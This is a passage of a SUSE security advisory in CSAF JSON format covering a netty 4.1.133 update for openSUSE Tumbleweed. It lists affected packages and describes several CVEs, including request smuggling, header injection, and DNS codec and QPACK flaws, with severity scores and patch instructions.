"name": "netty-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.s390x"
},
"product_reference": "netty-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64"
},
"product_reference": "netty-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64"
},
"product_reference": "netty-bom-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-bom-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x"
},
"product_reference": "netty-bom-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64"
},
"product_reference": "netty-bom-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64"
},
"product_reference": "netty-javadoc-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-javadoc-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x"
},
"product_reference": "netty-javadoc-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64"
},
"product_reference": "netty-javadoc-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64"
},
"product_reference": "netty-parent-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-parent-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x"
},
"product_reference": "netty-parent-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
},
"product_reference": "netty-parent-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-41417",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-41417"
}
],
"notes": [
{
"category": "general",
"text": "Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-41417",
"url": "https://www.suse.com/security/cve/CVE-2026-41417"
},
{
"category": "external",
"summary": "SUSE Bug 1264350 for CVE-2026-41417",
"url": "https://bugzilla.suse.com/1264350"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-41417"
},
{
"cve": "CVE-2026-42578",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42578"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty\u0027s HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42578",
"url": "https://www.suse.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "SUSE Bug 1265243 for CVE-2026-42578",
"url": "https://bugzilla.suse.com/1265243"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42578"
},
{
"cve": "CVE-2026-42579",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42579"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty\u0027s DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42579",
"url": "https://www.suse.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "SUSE Bug 1265272 for CVE-2026-42579",
"url": "https://bugzilla.suse.com/1265272"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42579"
},
{
"cve": "CVE-2026-42580",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42580"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42580",
"url": "https://www.suse.com/security/cve/CVE-2026-42580"
},
{
"category": "external",
"summary": "SUSE Bug 1265273 for CVE-2026-42580",
"url": "https://bugzilla.suse.com/1265273"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42580"
},
{
"cve": "CVE-2026-42581",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42581"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42581",
"url": "https://www.suse.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "SUSE Bug 1265277 for CVE-2026-42581",
"url": "https://bugzilla.suse.com/1265277"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42581"
},
{
"cve": "CVE-2026-42582",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42582"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length \u003c= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
